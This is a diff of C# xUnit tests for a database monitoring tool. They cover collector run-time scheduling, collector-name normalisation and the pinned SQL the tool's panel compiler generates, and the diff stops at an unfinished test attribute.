+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4938: the rules <c>get_collection_health</c> applies to show a collector's run time, with no store. The time and the
+/// rows are passed in, so each rule is pinned at a fixed instant: the server row over the fleet row, -1 and NULL on the
+/// server row, the whole-day rule, the server's clock (UTC while it is unknown), a disabled collector, and the note a
+/// skipped day carries.
+/// </summary>
+public sealed class DarlingCollectorRunTimeReaderTests
+{
+    private const string Daily = "index_object_stats";
+    private const string Minute = "wait_stats";
+    private const string FiveMinutes = "running_jobs";
+    private const int ServerId = 7;
+    private const int TwoAm = 120;
+
+    /* Noon UTC. A daily slot at 02:00 plus a spread under an hour has passed by ten hours, outside its grace. */
+    private static readonly DateTime Now = new(2026, 6, 10, 12, 0, 0, DateTimeKind.Utc);
+
+    private static ScheduleOverride Fleet(string collector, int? runAt, bool enabled = true, int? frequency = null) =>
+        new(null, collector, frequency, null, enabled, RunAtMinute: runAt);
+
+    private static ScheduleOverride Server(string collector, int? runAt, bool enabled = true, int? frequency = null) =>
+        new(ServerId, collector, frequency, null, enabled, RunAtMinute: runAt);
+
+    private static CollectorHealth Row(string collector, DateTime? lastRun) =>
+        new() { CollectorName = collector, TotalRuns = 1, SuccessCount = 1, LastRunTime = lastRun, LastSuccessTime = lastRun };
+
+    private static IReadOnlyDictionary<string, CollectorRunTimeReading> Compute(
+        IReadOnlyList<ScheduleOverride> overrides, CollectorHealth row, Func<DateTime, DateTime>? localToUtc = null) =>
+        DarlingCollectorRunTimeReader.Compute(ServerId, overrides, [row], localToUtc ?? CollectorRunTime.LocalIsUtc, Now);
+
+    private static DateTime Ago(double hours) => DateTime.SpecifyKind(Now.AddHours(-hours), DateTimeKind.Unspecified);
+
+    [Fact]
+    public void TheServerRowWinsOverTheFleetRow()
+    {
+        var readings = Compute([Fleet(Daily, TwoAm), Server(Daily, 270)], Row(Daily, Ago(1)));
+
+        Assert.Equal("04:30", readings[Daily].RunAt);
+    }
+
+    [Fact]
+    public void MinusOneOnTheServerRowStopsTheFleetRunTime()
+    {
+        var readings = Compute([Fleet(Daily, TwoAm), Server(Daily, -1)], Row(Daily, Ago(1)));
+
+        Assert.False(readings.ContainsKey(Daily));
+    }
+
+    [Fact]
+    public void ANullRunTimeOnTheServerRowFallsThroughToTheFleetRow()
+    {
+        var readings = Compute([Fleet(Daily, TwoAm), Server(Daily, null, enabled: true)], Row(Daily, Ago(1)));
+
+        Assert.Equal("02:00", readings[Daily].RunAt);
+    }
+
+    [Fact]
+    public void ACollectorWithNoRunTimeHasNoReading()
+    {
+        Assert.Empty(Compute([], Row(Daily, Ago(1))));
+        Assert.Empty(Compute([Fleet(Daily, -1)], Row(Daily, Ago(1))));
+    }
+
+    [Fact]
+    public void ARunTimeOnACollectorThatIsNotOnWholeDaysIsIgnored()
+    {
+        /* wait_stats runs every minute: a run time there would only pick the minute past the hour. */
+        Assert.Empty(Compute([Fleet(Minute, TwoAm)], Row(Minute, Ago(0.01))));
+
+        /* A collector on a five-minute cadence takes a run time once its frequency moves to a whole day. */
+        Assert.Empty(Compute([Fleet(FiveMinutes, TwoAm)], Row(FiveMinutes, Ago(0.1))));
+        var readings = Compute([Fleet(FiveMinutes, TwoAm, frequency: 1440)], Row(FiveMinutes, Ago(1)));
+        Assert.Equal("02:00", readings[FiveMinutes].RunAt);
+    }
+
+    [Fact]
+    public void ACollectorTheCatalogDoesNotKnowHasNoReading()
+    {
+        Assert.Empty(Compute([Fleet("no_such_collector", TwoAm)], Row("no_such_collector", Ago(1))));
+    }
+
+    [Fact]
+    public void WithNoClockTheRunTimeReadsAsUtc_AndAFixedOffsetMovesItByTheOffset()
+    {
+        var utc = Compute([Fleet(Daily, TwoAm)], Row(Daily, Ago(1)))[Daily].NextRunUtc!.Value;
+        Assert.Equal(DateTimeKind.Utc, utc.Kind);
+        Assert.Equal(TimeSpan.FromMinutes(TwoAm) + CollectorRunTime.Spread(ServerId), utc.TimeOfDay);
+        Assert.True(utc > Now);
+
+        /* Five hours behind UTC: 02:00 there is 07:00 UTC. */
+        var west = Compute([Fleet(Daily, TwoAm)], Row(Daily, Ago(1)), ServerClock.Resolve(null, -300).ToUtc)[Daily].NextRunUtc!.Value;
+        Assert.Equal(TimeSpan.FromHours(7) + CollectorRunTime.Spread(ServerId), west.TimeOfDay);
+    }
+
+    [Fact]
+    public void ADisabledCollectorShowsItsRunTimeAndNoNextRun()
+    {
+        var reading = Compute([Fleet(Daily, TwoAm, enabled: false)], Row(Daily, Ago(40)))[Daily];
+
+        Assert.Equal("02:00", reading.RunAt);
+        Assert.Null(reading.NextRunUtc);
+        Assert.Null(reading.NextRunUtcText);
+        Assert.Null(reading.SkippedDayNote);
+    }
+
+    [Theory]
+    [InlineData(1, false)]    // ran this morning: on time
+    [InlineData(20, false)]   // ran yesterday: on time
+    [InlineData(30, false)]   // a day late but still under the 36-hour stale line: not stale yet, so no note
+    [InlineData(40, true)]    // a skipped day past the 36-hour stale line, with the next slot ahead
+    [InlineData(60, true)]    // two days: the last run is also older than the worker's two-day floor, which makes no difference to the note
+    public void ASkippedDayCarriesANoteOnlyOncePastTheStaleLineWithTheNextSlotAhead(double hoursSinceLastRun, bool expectNote)
+    {
+        var reading = Compute([Fleet(Daily, TwoAm)], Row(Daily, Ago(hoursSinceLastRun)))[Daily];
+
+        Assert.True(reading.NextRunUtc > Now, "the next slot is ahead");
+        if (!expectNote)
+        {
+            Assert.Null(reading.SkippedDayNote);
+            return;
+        }
+
+        Assert.NotNull(reading.SkippedDayNote);
+        Assert.Contains("Skipped day", reading.SkippedDayNote, StringComparison.Ordinal);
+        Assert.Contains("36-hour stale line", reading.SkippedDayNote, StringComparison.Ordinal);
+        Assert.Contains($"no run for {hoursSinceLastRun:0.#} hours", reading.SkippedDayNote, StringComparison.Ordinal);
+        Assert.Contains(reading.NextRunUtc!.Value.ToString("u", System.Globalization.CultureInfo.InvariantCulture), reading.SkippedDayNote, StringComparison.Ordinal);
+        Assert.Contains("not replayed", reading.SkippedDayNote, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ACollectorDueNowHasNoNote_BecauseItsRunIsAMomentAway()
+    {
+        /* A run time whose slot for this server passed about ten minutes ago: noon is inside its 60-minute grace. */
+        var spreadMinutes = (int)CollectorRunTime.Spread(ServerId).TotalMinutes;
+        var runAt = 12 * 60 - spreadMinutes - 10;
+
+        var reading = Compute([Fleet(Daily, runAt)], Row(Daily, Ago(40)))[Daily];
+
+        Assert.Equal(Now, reading.NextRunUtc);
+        Assert.Null(reading.SkippedDayNote);
+    }
+
+    [Fact]
+    public void ADailyIntervalChosenOnAFasterShippedCadence_IsNotASkippedDayOnAnOrdinaryDay()
+    {
+        /* running_jobs ships on a five-minute cadence, so the health band calls it stale after four hours. Moved to a daily
+           run time, ten hours since its last run is just a day's wait, not a skipped slot. */
+        var ordinary = Compute([Fleet(FiveMinutes, TwoAm, frequency: 1440)], Row(FiveMinutes, Ago(10)))[FiveMinutes];
+        Assert.Null(ordinary.SkippedDayNote);
+
+        /* A day and a quarter is past one interval plus its grace, so a slot really was missed. */
+        var skipped = Compute([Fleet(FiveMinutes, TwoAm, frequency: 1440)], Row(FiveMinutes, Ago(30)))[FiveMinutes];
+        Assert.NotNull(skipped.SkippedDayNote);
+    }
+
+    [Fact]
+    public void TheRunTimeIsNeverABandInput()
+    {
+        /* HealthStatus reads the real clock, so this row and the call use it too. */
+        var realNow = DateTime.UtcNow;
+        var row = Row(Daily, DateTime.SpecifyKind(realNow.AddHours(-40), DateTimeKind.Unspecified));
+        var bandBefore = row.HealthStatus;
+
+        _ = DarlingCollectorRunTimeReader.Compute(ServerId, [Fleet(Daily, TwoAm)], [row], CollectorRunTime.LocalIsUtc, realNow);
+
+        Assert.Equal(bandBefore, row.HealthStatus);
+        Assert.Equal(PerformanceMonitor.Common.CollectorHealthClassifier.Stale, bandBefore);
+    }
+
+    [Fact]
+    public async Task AnInsufficientPrivilegeReadAnswersNoRunTimesWithOneWarning()
+    {
+        var warnings = new List<string>();
+
+        var result = await DarlingCollectorRunTimeReader.ReadRunTimesAsync(
+            () => throw new PostgresException("permission denied", "ERROR", "ERROR", "42501"), warnings.Add);
+
+        Assert.Empty(result);
+        Assert.Single(warnings);
+    }
+
+    [Fact]
+    public async Task TheInsufficientPrivilegeWarningReachesTheLogger()
+    {
+        var logger = new CapturingLogger();
+
+        await DarlingCollectorRunTimeReader.ReadRunTimesAsync(
+            () => throw new PostgresException("permission denied", "ERROR", "ERROR", "42501"),
+            DarlingCollectorRunTimeReader.WarnTo(logger));
+
+        var entry = Assert.Single(logger.Entries);
+        Assert.Equal(Microsoft.Extensions.Logging.LogLevel.Warning, entry.Level);
+        Assert.Contains("config_collector_run_times", entry.Text, StringComparison.Ordinal);
+    }
+
+    private sealed class CapturingLogger : Microsoft.Extensions.Logging.ILogger
+    {
+        public List<(Microsoft.Extensions.Logging.LogLevel Level, string Text)> Entries { get; } = [];
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(Microsoft.Extensions.Logging.LogLevel logLevel) => true;
+
+        public void Log<TState>(Microsoft.Extensions.Logging.LogLevel logLevel, Microsoft.Extensions.Logging.EventId eventId,
+            TState state, Exception? exception, Func<TState, Exception?, string> formatter) =>
+            Entries.Add((logLevel, formatter(state, exception)));
+    }
+
+    [Fact]
+    public async Task AMissingTableAnswersNoRunTimesAndAnythingElsePropagates()
+    {
+        var warnings = new List<string>();
+
+        Assert.Empty(await DarlingCollectorRunTimeReader.ReadRunTimesAsync(
+            () => throw new PostgresException("no table", "ERROR", "ERROR", "42P01"), warnings.Add));
+        Assert.Empty(warnings);
+
+        await Assert.ThrowsAsync<PostgresException>(() => DarlingCollectorRunTimeReader.ReadRunTimesAsync(
+            () => throw new PostgresException("boom", "ERROR", "ERROR", "XX000"), warnings.Add));
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingCommandExecutorTests.cs b/Darling/Darling.Tests/DarlingCommandExecutorTests.cs
index c21197b5b0..95c7afc3de 100644
--- a/Darling/Darling.Tests/DarlingCommandExecutorTests.cs
+++ b/Darling/Darling.Tests/DarlingCommandExecutorTests.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Linq;
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
@@ -287,6 +288,26 @@ public void ResolvePlan_EnableCollector_FleetVsPerServer_ValidatesName()
         Assert.Equal("wait_stats", perServer.Parameters![1]);
     }
 
+    [Fact]
+    public void ResolvePlan_CollectorWrites_BindTheCatalogsSpellingNotTheTypedOne()
+    {
+        /* The store's unique indexes compare collector_name exactly, so a typed 'Wait_Stats' would be a second row beside the
+           viewer's 'wait_stats'. Every collector-scoped write binds the catalog key, scoped or fleet-wide. */
+        var toggle = DarlingCommandExecutor.ResolvePlan(Command("enable_collector", args: "{\"collector_name\":\"Wait_Stats\"}"));
+        Assert.Equal("wait_stats", toggle.Parameters![0]);
+        var toggleServer = DarlingCommandExecutor.ResolvePlan(Command("disable_collector", target: 7, args: "{\"collector_name\":\"WAIT_STATS\"}"));
+        Assert.Equal("wait_stats", toggleServer.Parameters![1]);
+
+        foreach (var (target, runAt) in new (int?, string)[] { (null, "02:00"), (7, "02:00"), (null, "default"), (7, "default"), (7, "none") })
+        {
+            var plan = DarlingCommandExecutor.ResolvePlan(Command(
+                "set_collector_run_at", target, "{\"collector_name\":\"Index_Object_Stats\",\"run_at\":\"" + runAt + "\"}"));
+            Assert.Equal(CommandKind.StoreWrite, plan.Kind);
+            Assert.Contains("index_object_stats", plan.Parameters!.OfType<string>());
+            Assert.DoesNotContain("Index_Object_Stats", plan.Parameters!.OfType<string>());
+        }
+    }
+
     [Fact]
     public void ResolvePlan_TestConnect_RequiresArgsJson_ElseProbe()
     {
diff --git a/Darling/Darling.Tests/DarlingComposeTests.cs b/Darling/Darling.Tests/DarlingComposeTests.cs
index 6000361176..0951a7a2dd 100644
--- a/Darling/Darling.Tests/DarlingComposeTests.cs
+++ b/Darling/Darling.Tests/DarlingComposeTests.cs
@@ -774,6 +774,10 @@ public void Compile_RankedTimeSeries_IncludeOther_FoldsTheRemainderIntoOneSeries
         Assert.DoesNotContain("  AND EXISTS", sql, StringComparison.Ordinal);
     }
 
+    /// <summary>#5525: the server scope as the compiler spells it for names bound at $3 - an id list resolved from the registry
+    /// inside the SQL, never <c>server_name = ANY</c> on the fact (that reads every compressed chunk in full).</summary>
+    private const string ServerIdScope3 = "server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($3)))";
+
     [Fact]
     public void Compile_RankedTimeSeries_BindsEachValueOnce_SharedByBothPasses()
     {
@@ -789,7 +793,7 @@ public void Compile_RankedTimeSeries_BindsEachValueOnce_SharedByBothPasses()
 
         var sql = compiled!.Sql;
         Assert.Equal(5, compiled.Parameters.Count);
-        Assert.Equal(2, CountOccurrences(sql, "f.server_name = ANY($3)"));
+        Assert.Equal(2, CountOccurrences(sql, "f." + ServerIdScope3));
         Assert.Equal(2, CountOccurrences(sql, "<> ALL($4)"));
         Assert.Contains("LIMIT $5", sql, StringComparison.Ordinal);
         /* Values stay bound, never interpolated — in either pass. */
@@ -1740,7 +1744,7 @@ two rows sharing this whole partition AND collection_time. It cannot fire on row
            a window-function subquery only when the qual's columns appear in every PARTITION BY, so without
            it a fleet store would rank every server's rows before narrowing to the panel's scope. */
         var partition = sql.IndexOf("PARTITION BY", StringComparison.Ordinal);
-        var scope = sql.IndexOf("f.server_name = ANY(", StringComparison.Ordinal);
+        var scope = sql.IndexOf("f.server_id = ANY(", StringComparison.Ordinal);
         Assert.True(scope > partition, "the server scope stays in the outer WHERE, so the partition must carry server_name");
 
         /* The dedup window is pushed INSIDE the derived table, so "latest" means latest within the
@@ -3472,6 +3476,397 @@ public async Task RunComposedPanel_RejectsBadAbsoluteWindows(string windowJson,
         Assert.NotNull(outcome.Error);
         Assert.Contains(expectedFragment, outcome.Error!, StringComparison.OrdinalIgnoreCase);
     }
+
+    /* ─────────────── the hourly-raw-edges route (a count-guard verdict supplied) ─────────────── */
+
+    private static readonly DateTime EdgeNow = new(2026, 7, 23, 12, 0, 0, DateTimeKind.Utc);
+
+    private const string EdgePanelJson =
+        "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"topN\":10,\"groupBy\":[\"database_name\",\"object_name\"],\"viz\":\"table\"}";
+
+    private static RollupCoverage EdgeCoverage() => new(
+        new Dictionary<string, DateTime>(StringComparer.Ordinal) { [TimescaleSupport.QueryStatsIntervalHourlyView] = EdgeNow.AddDays(-3) },
+        new Dictionary<string, DateTime>(StringComparer.Ordinal),
+        RollupAvailability.All,
+        new Dictionary<string, DateTime>(StringComparer.Ordinal) { [TimescaleSupport.QueryStatsIntervalHourlyView] = EdgeNow.AddMinutes(-20) });
+
+    private static ComposeRunContext EdgeContext(PanelPlan plan, bool withVerdict, IReadOnlyList<string>? servers = null, DateTime? moduleMapThrough = null)
+    {
+        var coverage = EdgeCoverage();
+        var start = EdgeNow.AddHours(-24);
+        var candidate = ComposeSourceRouter.HourlyRawEdgesCandidate(plan, EdgeNow, start, EdgeNow, RollupAvailability.All, coverage);
+        Assert.NotNull(candidate);
+        return new ComposeRunContext(
+            servers, start, EdgeNow, ComposeRunContext.NoVariables, RollupAvailability.All, EdgeNow, coverage,
+            HourlyEdges: withVerdict ? new ComposeHourlyEdgesVerdict(candidate!.SourceTable, candidate.HourStartUtc, candidate.HourEndUtc, servers) : null,
+            ModuleMapThrough: moduleMapThrough);
+    }
+
+    private static ComposeCompiled CompileEdge(PanelPlan plan, ComposeRunContext context)
+    {
+        var (compiled, error) = ComposeCompiler.Compile(plan, context);
+        Assert.True(error is null, error);
+        return compiled!;
+    }
+
+    private static string EdgeFrom(string suffix) =>
+        "(SELECT mid.server_id, mid.server_name, mid.database_name, mid.query_hash, mid.sql_handle, mid.bucket AS collection_time, "
+        + $"mid.worker_time_{suffix} AS delta_worker_time, mid.elapsed_time_{suffix} AS delta_elapsed_time, mid.execution_count_{suffix} AS delta_execution_count, "
+        + "1 AS sample_interval_seconds FROM collect.query_stats_interval_hourly AS mid WHERE mid.bucket >= $3 AND mid.bucket < $4 "
+        + "UNION ALL SELECT server_id, server_name, database_name, query_hash, sql_handle, collection_time, delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds "
+        + "FROM collect.query_stats WHERE collection_time >= $3 AND collection_time < $4 AND sample_interval_seconds = 0 "
+        + "UNION ALL SELECT server_id, server_name, database_name, query_hash, sql_handle, collection_time, delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds "
+        + "FROM collect.query_stats WHERE collection_time >= $1 AND collection_time <= $2 AND (collection_time < $3 OR collection_time >= $4))";
+
+    [Fact]
+    public void Compile_HourlyRawEdges_MatchingVerdict_EmitsTheFullPinnedSql()
+    {
+        var plan = ValidPlan(EdgePanelJson);
+        var compiled = CompileEdge(plan, EdgeContext(plan, withVerdict: true));
+
+        Assert.Equal("WITH m AS (\n"
+            + "    SELECT server_name, sql_handle, object_name, schema_name, database_name\n"
+            + "    FROM (\n"
+            + "        SELECT server_name, sql_handle, object_name, schema_name, database_name,\n"
+            + "               ROW_NUMBER() OVER (PARTITION BY server_name, sql_handle ORDER BY collection_time DESC) AS rn\n"
+            + "        FROM collect.procedure_stats\n"
+            + "        WHERE collection_time >= $1\n"
+            + "          AND collection_time <= $2\n"
+            + "          AND sql_handle IS NOT NULL\n"
+            + "          AND sql_handle <> ''\n"
+            + "    ) ranked_modules\n"
+            + "    WHERE rn = 1\n"
+            + ")\n"
+            + "SELECT f.database_name AS database_name, COALESCE(m.object_name, '(ad hoc)') AS object_name, (CAST(SUM(f.delta_worker_time) FILTER (WHERE f.sample_interval_seconds IS DISTINCT FROM 0) AS double precision)) * 1.0 / 1000.0 AS value\n"
+            + "FROM " + EdgeFrom("sum") + " AS f\n"
+            + "LEFT JOIN m ON m.sql_handle = f.sql_handle AND m.server_name = f.server_name\n"
+            + "WHERE f.collection_time >= $1\n"
+            + "  AND f.collection_time <= $2\n"
+            + "GROUP BY f.database_name, COALESCE(m.object_name, '(ad hoc)')\n"
+            + "ORDER BY value DESC NULLS LAST\n"
+            + "LIMIT $5", compiled.Sql);
+        Assert.Contains("collect.procedure_stats", compiled.Sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("module_map", compiled.Sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_WithAModuleMapWatermark_EmitsTheMapPlusRecentOverlaySql()
+    {
+        var plan = ValidPlan(EdgePanelJson);
+        var compiled = CompileEdge(plan, EdgeContext(plan, withVerdict: true, moduleMapThrough: EdgeNow.AddMinutes(-30)));
+
+        Assert.Equal("WITH m_recent AS (\n"
+            + "    SELECT server_name, sql_handle, object_name, schema_name, database_name\n"
+            + "    FROM (\n"
+            + "        SELECT server_name, sql_handle, object_name, schema_name, database_name,\n"
+            + "               ROW_NUMBER() OVER (PARTITION BY server_name, sql_handle ORDER BY collection_time DESC) AS rn\n"
+            + "        FROM collect.procedure_stats\n"
+            + "        WHERE collection_time >= $5\n"
+            + "          AND collection_time <= $2\n"
+            + "          AND sql_handle IS NOT NULL\n"
+            + "          AND sql_handle <> ''\n"
+            + "    ) ranked_modules\n"
+            + "    WHERE rn = 1\n"
+            + "),\n"
+            + "m AS (\n"
+            + "    SELECT server_name, sql_handle, object_name, schema_name, database_name FROM m_recent\n"
+            + "    UNION ALL\n"
+            + "    SELECT mm.server_name, mm.sql_handle, mm.object_name, mm.schema_name, mm.database_name\n"
+            + "    FROM collect.module_map AS mm\n"
+            + "    WHERE mm.last_seen >= $1\n"
+            + "      AND NOT EXISTS (SELECT 1 FROM m_recent AS r WHERE r.server_name = mm.server_name AND r.sql_handle = mm.sql_handle)\n"
+            + ")\n"
+            + "SELECT f.database_name AS database_name, COALESCE(m.object_name, '(ad hoc)') AS object_name, (CAST(SUM(f.delta_worker_time) FILTER (WHERE f.sample_interval_seconds IS DISTINCT FROM 0) AS double precision)) * 1.0 / 1000.0 AS value\n"
+            + "FROM " + EdgeFrom("sum") + " AS f\n"
+            + "LEFT JOIN m ON m.sql_handle = f.sql_handle AND m.server_name = f.server_name\n"
+            + "WHERE f.collection_time >= $1\n"
+            + "  AND f.collection_time <= $2\n"
+            + "GROUP BY f.database_name, COALESCE(m.object_name, '(ad hoc)')\n"
+            + "ORDER BY value DESC NULLS LAST\n"
+            + "LIMIT $6", compiled.Sql);
+        Assert.Contains("collect.module_map AS mm", compiled.Sql, StringComparison.Ordinal);
+        Assert.Contains("m_recent", compiled.Sql, StringComparison.Ordinal);
+        Assert.Contains("NOT EXISTS", compiled.Sql, StringComparison.Ordinal);
+        Assert.Equal(6, compiled.Parameters.Count);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_TheOverlayFloor_IsTheWatermarkLessTheSlack_WhenInsideTheWindow()
+    {
+        var plan = ValidPlan(EdgePanelJson);
+        var watermark = EdgeNow.AddMinutes(-30);
+        var compiled = CompileEdge(plan, EdgeContext(plan, true, moduleMapThrough: watermark));
+
+        Assert.Equal(watermark - DarlingModuleMap.WatermarkSlack, (DateTime)compiled.Parameters[4].Value!);
+        Assert.Equal(DateTimeKind.Unspecified, ((DateTime)compiled.Parameters[4].Value!).Kind);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_AWatermarkOlderThanTheWindowStart_FloorsTheOverlayAtTheWindowStart()
+    {
+        var plan = ValidPlan(EdgePanelJson);
+        var start = EdgeNow.AddHours(-24);
+        var compiled = CompileEdge(plan, EdgeContext(plan, true, moduleMapThrough: start.AddHours(-5)));
+
+        Assert.Equal(start, (DateTime)compiled.Parameters[4].Value!);
+        Assert.Equal(start, (DateTime)compiled.Parameters[0].Value!);
+        Assert.Contains("WHERE collection_time >= $5\n", compiled.Sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_WithAModuleMapWatermark_AppliesTheServerScopeInBothArms()
+    {
+        var plan = ValidPlan(EdgePanelJson);
+        var servers = new[] { "PROD-01" };
+        var compiled = CompileEdge(plan, EdgeContext(plan, true, servers, EdgeNow.AddMinutes(-30)));
+
+        /* $3 is the scope: the overlay's procedure_stats scan, the map arm and the fact each carry it. */
+        Assert.Contains("          AND " + ServerIdScope3 + "\n", compiled.Sql, StringComparison.Ordinal);
+        /* module_map has no server_id (keyed server_name, sql_handle) and is small, so its arm keeps the names (#5525). */
+        Assert.Contains("      AND mm.server_name = ANY($3)\n", compiled.Sql, StringComparison.Ordinal);
+        Assert.Contains("  AND f." + ServerIdScope3 + "\n", compiled.Sql, StringComparison.Ordinal);
+        Assert.Equal(7, compiled.Parameters.Count);
+        Assert.Equal(servers, (string[])compiled.Parameters[2].Value!);
+        Assert.Equal(EdgeNow.AddMinutes(-30) - DarlingModuleMap.WatermarkSlack, (DateTime)compiled.Parameters[5].Value!);
+        Assert.Contains("LIMIT $7", compiled.Sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_ANullWatermark_IsByteIdenticalToTheWindowWideCte()
+    {
+        var plan = ValidPlan(EdgePanelJson);
+        foreach (var servers in new[] { (IReadOnlyList<string>?)null, new[] { "PROD-01" } })
+        {
+            var withNull = CompileEdge(plan, EdgeContext(plan, true, servers, moduleMapThrough: null));
+            var without = CompileEdge(plan, EdgeContext(plan, true, servers));
+
+            Assert.Equal(without.Sql, withNull.Sql);
+            Assert.Equal(without.Parameters.Count, withNull.Parameters.Count);
+            Assert.StartsWith("WITH m AS (\n", withNull.Sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("module_map", withNull.Sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_AWatermarkLaterThanNow_IsTreatedAsNoWatermark()
+    {
+        var plan = ValidPlan(EdgePanelJson);
+        var without = CompileEdge(plan, EdgeContext(plan, true));
+        foreach (var future in new[] { EdgeNow.AddMinutes(1), EdgeNow.AddDays(1) })
+        {
+            var compiled = CompileEdge(plan, EdgeContext(plan, true, moduleMapThrough: future));
+
+            Assert.Equal(without.Sql, compiled.Sql);
+            Assert.Equal(without.Parameters.Count, compiled.Parameters.Count);
+            Assert.StartsWith("WITH m AS (\n", compiled.Sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("module_map AS mm", compiled.Sql, StringComparison.Ordinal);
+        }
+
+        /* A watermark exactly at now still serves the overlay. */
+        var atNow = CompileEdge(plan, EdgeContext(plan, true, moduleMapThrough: EdgeNow));
+        Assert.StartsWith("WITH m_recent AS (\n", atNow.Sql, StringComparison.Ordinal);
+        Assert.Contains("module_map AS mm", atNow.Sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Compile_AWatermark_ChangesNothingOnTheRawRoute_NorOnACaggRoute()
+    {
+        var plan = ValidPlan(EdgePanelJson);
+        var start = EdgeNow.AddHours(-24);
+        var watermark = EdgeNow.AddMinutes(-30);
+
+        /* Raw: no verdict, so the hourly-raw-edges route is not taken. */
+        var rawWith = CompileEdge(plan, EdgeContext(plan, false, moduleMapThrough: watermark));
+        var rawWithout = CompileEdge(plan, EdgeContext(plan, false));
+        Assert.Equal(rawWithout.Sql, rawWith.Sql);
+        Assert.Equal(rawWithout.Parameters.Count, rawWith.Parameters.Count);
+        Assert.StartsWith("WITH m AS (\n", rawWith.Sql, StringComparison.Ordinal);
+
+        /* CAGG: a window old enough for the daily tier joins collect.module_map directly, with or without a watermark. */
+        var caggStart = EdgeNow.AddDays(-20);
+        var coverage = new RollupCoverage(
+            new Dictionary<string, DateTime>(StringComparer.Ordinal),
+            new Dictionary<string, DateTime>(StringComparer.Ordinal),
+            RollupAvailability.All,
+            new Dictionary<string, DateTime>(StringComparer.Ordinal));
+        ComposeCompiled Cagg(DateTime? through) => CompileEdge(plan, new ComposeRunContext(
+            null, caggStart, EdgeNow, ComposeRunContext.NoVariables, RollupAvailability.All, EdgeNow, coverage, ModuleMapThrough: through));
+        var caggWith = Cagg(watermark);
+        var caggWithout = Cagg(null);
+        Assert.Equal(caggWithout.Sql, caggWith.Sql);
+        Assert.Equal(caggWithout.Parameters.Count, caggWith.Parameters.Count);
+        Assert.Contains("LEFT JOIN collect.module_map AS m ON", caggWith.Sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("m_recent", caggWith.Sql, StringComparison.Ordinal);
+        Assert.True(start < EdgeNow);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_APlanWithoutTheModuleJoin_IgnoresTheWatermark()
+    {
+        var plan = ValidPlan(
+            "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"topN\":10,\"groupBy\":[\"database_name\"],\"viz\":\"table\"}");
+        var with = CompileEdge(plan, EdgeContext(plan, true, moduleMapThrough: EdgeNow.AddMinutes(-30)));
+        var without = CompileEdge(plan, EdgeContext(plan, true));
+
+        Assert.Equal(without.Sql, with.Sql);
+        Assert.Equal(without.Parameters.Count, with.Parameters.Count);
+        Assert.DoesNotContain("module_map", with.Sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_BindsStartEnd_Scope_HourStart_HourEnd_Filters_ThenTopN_InOrder()
+    {
+        var plan = ValidPlan(
+            "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"topN\":10,\"groupBy\":[\"object_name\"],\"viz\":\"table\","
+            + "\"filters\":[{\"dimension\":\"database_name\",\"op\":\"eq\",\"value\":\"db1\"}]}");
+        var servers = new[] { "PROD-01" };
+        var compiled = CompileEdge(plan, EdgeContext(plan, true, servers));
+
+        Assert.Equal(7, compiled.Parameters.Count);
+        Assert.Equal(EdgeNow.AddHours(-24), (DateTime)compiled.Parameters[0].Value!);
+        Assert.Equal(EdgeNow, (DateTime)compiled.Parameters[1].Value!);
+        Assert.Equal(servers, (string[])compiled.Parameters[2].Value!);
+        Assert.Equal(EdgeNow.AddHours(-24), (DateTime)compiled.Parameters[3].Value!);
+        Assert.Equal(EdgeNow.AddHours(-1), (DateTime)compiled.Parameters[4].Value!);
+        Assert.Equal(new[] { "db1" }, (string[])compiled.Parameters[5].Value!);
+        Assert.Equal(10, compiled.Parameters[6].Value);
+    }
+
+    [Theory]
+    [InlineData("max")]
+    [InlineData("min")]
+    public void Compile_HourlyRawEdges_MaxAndMin_ProjectTheirOwnRollupColumns(string aggregate)
+    {
+        var plan = ValidPlan(
+            "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"" + aggregate + "\",\"topN\":10,\"groupBy\":[\"database_name\"],\"viz\":\"table\"}");
+        var compiled = CompileEdge(plan, EdgeContext(plan, true));
+
+        Assert.Contains("FROM " + EdgeFrom(aggregate) + " AS f\n", compiled.Sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_NoVerdict_IsByteIdenticalToTheRawCompile_AndBindsNoEdges()
+    {
+        var plan = ValidPlan(EdgePanelJson);
+        var withNone = CompileEdge(plan, EdgeContext(plan, false));
+        var (raw, error) = ComposeCompiler.Compile(
+            plan, new ComposeRunContext(null, EdgeNow.AddHours(-24), EdgeNow, ComposeRunContext.NoVariables, RollupAvailability.All, EdgeNow, EdgeCoverage()));
+
+        Assert.True(error is null, error);
+        Assert.Equal(raw!.Sql, withNone.Sql);
+        Assert.Equal(3, withNone.Parameters.Count);
+        Assert.Contains("FROM collect.query_stats AS f\n", withNone.Sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("UNION ALL", withNone.Sql, StringComparison.Ordinal);
+    }
+
+    [Theory]
